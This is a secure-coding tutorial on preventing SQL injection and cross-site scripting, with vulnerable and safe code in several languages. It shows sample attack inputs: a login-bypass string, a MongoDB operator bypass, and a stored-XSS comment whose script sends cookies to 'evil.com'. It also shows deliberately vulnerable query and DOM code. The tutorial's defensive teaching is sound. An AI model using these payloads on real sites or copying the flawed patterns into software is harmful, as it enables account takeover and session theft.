In the previous tutorial, you learned about authorization and access control. Now we tackle the two most common injection attacks: SQL injection and XSS (Cross-Site Scripting).

Both fall under Injection in the OWASP Top 10 (A03 in the 2021 list, A05 in the 2025 update). Both have been around for over 20 years. And both are still in the top causes of data breaches — because developers keep making the same mistakes.

This article is about prevention, not exploitation. We show the attack so you understand the risk, then focus on how to write safe code.

Part 1: SQL Injection

What is SQL Injection?

SQL injection happens when user input is inserted directly into a SQL query. The attacker writes SQL code in an input field, and the database executes it.

The Classic Attack

Imagine a login form that checks credentials like this:

# VULNERABLE — never do this
query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
cursor.execute(query)

If the attacker enters this as the username:

' OR 1=1 --

The query becomes:

SELECT * FROM users WHERE username = '' OR 1=1 --' AND password = ''

OR 1=1 is always true. -- comments out the rest. The attacker is now logged in as the first user in the database — usually the admin.

Types of SQL Injection

TypeHow It WorksDifficulty
Classic (in-band)Error messages or query results show dataEasy
Union-basedUses UNION SELECT to extract data from other tablesMedium
Blind (boolean)No error messages — attacker asks true/false questionsMedium
Time-based blindNo visible output — attacker measures response timeHard

The Fix: Parameterized Queries

The only reliable way to prevent SQL injection is to use parameterized queries (also called prepared statements). The database treats user input as data, never as SQL code.

Parameterized Queries in Go

// VULNERABLE — string concatenation
query := fmt.Sprintf("SELECT * FROM users WHERE id = %s", userID)
db.Query(query)

// SAFE — parameterized query
row := db.QueryRow("SELECT * FROM users WHERE id = $1", userID)

Parameterized Queries in Python

# VULNERABLE — string formatting
cursor.execute(f"SELECT * FROM users WHERE id = {user_id}")

# SAFE — parameterized query
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))

Parameterized Queries in JavaScript (Node.js)

// VULNERABLE — string concatenation
db.query(`SELECT * FROM users WHERE id = ${userId}`);

// SAFE — parameterized query
db.query('SELECT * FROM users WHERE id = $1', [userId]);

Parameterized Queries in Kotlin (JDBC)

// VULNERABLE — string concatenation
val query = "SELECT * FROM users WHERE id = $userId"
statement.executeQuery(query)

// SAFE — parameterized query
val stmt = connection.prepareStatement("SELECT * FROM users WHERE id = ?")
stmt.setInt(1, userId)
val result = stmt.executeQuery()

Are ORMs Safe?

Object-Relational Mappers (ORMs) like GORM (Go), SQLAlchemy (Python), Prisma (JavaScript), and Room (Android) use parameterized queries internally. They are generally safe when used correctly.

But ORMs can still be vulnerable if you use raw queries:

# SQLAlchemy — SAFE (ORM query)
user = session.query(User).filter(User.id == user_id).first()

# SQLAlchemy — VULNERABLE (raw query with string formatting)
user = session.execute(f"SELECT * FROM users WHERE id = {user_id}")

# SQLAlchemy — SAFE (raw query with parameters)
user = session.execute(
    text("SELECT * FROM users WHERE id = :id"),
    {"id": user_id}
)

Rule: Even with an ORM, always use parameterized queries for raw SQL.

NoSQL Injection

SQL injection is not limited to SQL databases. MongoDB and other NoSQL databases have their own injection vulnerabilities:

// VULNERABLE — MongoDB query with user input
db.users.find({ username: req.body.username, password: req.body.password });

// If attacker sends: { "username": "admin", "password": { "$ne": "" } }
// The query becomes: find where username = "admin" AND password != ""
// This bypasses the password check!

// SAFE — validate input types
const username = String(req.body.username);
const password = String(req.body.password);
db.users.find({ username, password });

Part 2: XSS (Cross-Site Scripting)

What is XSS?

XSS happens when an attacker injects JavaScript code into a web page. When other users view the page, the malicious script runs in their browser.

XSS can:

  • Steal session cookies and tokens
  • Redirect users to phishing sites
  • Modify page content
  • Capture keystrokes (passwords, credit card numbers)

The Three Types of XSS

1. Stored XSS (Persistent)

The malicious script is stored in the database and displayed to every user who views the page.

Example: An attacker writes a comment containing a script:

Great article! <script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>

If the application displays comments without escaping, every user who views the page sends their cookies to the attacker.

2. Reflected XSS

The malicious script is part of the URL. The server includes it in the response without escaping.

Example:

https://example.com/search?q=<script>alert('xss')</script>

If the search page displays “Results for: <script>alert('xss')</script>” without escaping, the script runs.

3. DOM-Based XSS

The vulnerability is in the client-side JavaScript. The server never sees the malicious input.

// VULNERABLE — inserting URL hash directly into the page
document.getElementById('output').innerHTML = window.location.hash.substring(1);

// Attack URL: https://example.com/#<img src=x onerror=alert('xss')>

Prevention Strategy 1: Output Encoding (Escaping)

The #1 defense against XSS is output encoding. Convert special characters to their HTML entities so they are displayed as text, not executed as code.

CharacterHTML Entity
<&lt;
>&gt;
"&quot;
'&#x27;
&&amp;

Output Encoding in Go

Go’s html/template package auto-escapes by default:

import "html/template"

// SAFE — html/template auto-escapes
tmpl := template.Must(template.ParseFiles("page.html"))
tmpl.Execute(w, data)

// In the template:
// <p>{{.UserComment}}</p>
// If UserComment = "<script>alert('xss')</script>"
// Output: <p>&lt;script&gt;alert(&#39;xss&#39;)&lt;/script&gt;</p>

Warning: Go’s text/template package does NOT auto-escape. Always use html/template for web pages.

Output Encoding in Python (Jinja2)

Jinja2 (used by Flask) auto-escapes by default:

# In your template:
# <p>{{ user_comment }}</p>
# Auto-escaped to: <p>&lt;script&gt;alert(&#39;xss&#39;)&lt;/script&gt;</p>

# DANGEROUS — disable auto-escaping
# <p>{{ user_comment | safe }}</p>
# Never use the `safe` filter with user input!

Output Encoding in JavaScript (React)

React auto-escapes by default in JSX:

// SAFE — React auto-escapes
function Comment({ text }) {
    return <p>{text}</p>;
}
// If text = "<script>alert('xss')</script>"
// Renders as text, not as a script

// DANGEROUS — bypasses React's auto-escaping
function Comment({ text }) {
    return <p dangerouslySetInnerHTML={{ __html: text }} />;
}
// Never use dangerouslySetInnerHTML with user input!

Prevention Strategy 2: Content Security Policy (CSP)

CSP is an HTTP header that tells the browser which sources of content are allowed. Even if an attacker injects a script, CSP can block it from running.

Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'

This policy says:

  • Only load resources from the same origin ('self')
  • Only run scripts from the same origin
  • Allow inline styles (needed for some CSS frameworks)

Adding CSP in Go

func CSPMiddleware(next http.Handler) http.Handler {
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        w.Header().Set("Content-Security-Policy",
            "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'")
        next.ServeHTTP(w, r)
    })
}

Adding CSP in Express (Node.js)

const helmet = require('helmet');

app.use(helmet.contentSecurityPolicy({
    directives: {
        defaultSrc: ["'self'"],
        scriptSrc: ["'self'"],
        styleSrc: ["'self'", "'unsafe-inline'"],
    },
}));

Prevention Strategy 3: HttpOnly Cookies

If you store session tokens in cookies, set the HttpOnly flag. This prevents JavaScript from accessing the cookie — even if XSS runs on the page.

// Go
http.SetCookie(w, &http.Cookie{
    Name:     "session",
    Value:    sessionToken,
    HttpOnly: true,  // JavaScript cannot access this cookie
    Secure:   true,  // Only sent over HTTPS
    SameSite: http.SameSiteStrictMode,
})
// Express (Node.js)
res.cookie('session', sessionToken, {
    httpOnly: true,
    secure: true,
    sameSite: 'strict',
});

Prevention Strategy 4: Input Sanitization

When you need to allow some HTML (like a rich text editor), use a sanitization library to remove dangerous tags:

// JavaScript — DOMPurify
import DOMPurify from 'dompurify';

const dirtyHtml = '<b>Hello</b><script>alert("xss")</script>';
const cleanHtml = DOMPurify.sanitize(dirtyHtml);
// Result: '<b>Hello</b>' — script tag removed
# Python — bleach
import bleach

dirty_html = '<b>Hello</b><script>alert("xss")</script>'
clean_html = bleach.clean(dirty_html, tags=['b', 'i', 'em', 'strong'])
# Result: '<b>Hello</b>&lt;script&gt;alert("xss")&lt;/script&gt;'

Rule: Sanitize on input, escape on output. Do both when possible.

Putting It All Together

Here is a secure Express endpoint that handles user comments — preventing both SQL injection and XSS:

const express = require('express');
const helmet = require('helmet');
const DOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');

const app = express();
const window = new JSDOM('').window;
const purify = DOMPurify(window);

// Security headers (including CSP)
app.use(helmet());

// Create a comment — prevents SQL injection with parameterized query
app.post('/api/comments', async (req, res) => {
    const { content } = req.body;

    // Sanitize HTML input
    const cleanContent = purify.sanitize(content);

    // Parameterized query — prevents SQL injection
    await db.query(
        'INSERT INTO comments (content, user_id) VALUES ($1, $2)',
        [cleanContent, req.user.id]
    );

    res.json({ message: 'Comment created' });
});

// Display comments — output is auto-escaped by the template engine
app.get('/comments', async (req, res) => {
    const comments = await db.query('SELECT * FROM comments ORDER BY created_at DESC');
    res.render('comments', { comments: comments.rows });
});

Prevention Checklist

AttackPreventionPriority
SQL InjectionParameterized queries (prepared statements)Critical
SQL InjectionUse ORM default methods, avoid raw SQLHigh
SQL InjectionValidate input types (string, number)Medium
NoSQL InjectionValidate and cast input typesHigh
Stored XSSOutput encoding / auto-escaping templatesCritical
Reflected XSSOutput encoding + validate URL parametersCritical
DOM XSSAvoid innerHTML, use textContentHigh
All XSSContent Security Policy (CSP) headerHigh
All XSSHttpOnly + Secure + SameSite cookiesHigh
Rich textSanitize with DOMPurify or bleachHigh

What’s Next?

In the next tutorial, we will cover HTTPS and TLS — how encryption protects data in transit between your users and your server. You will learn how the TLS handshake works, how to set up free certificates with Let’s Encrypt, and common HTTPS mistakes.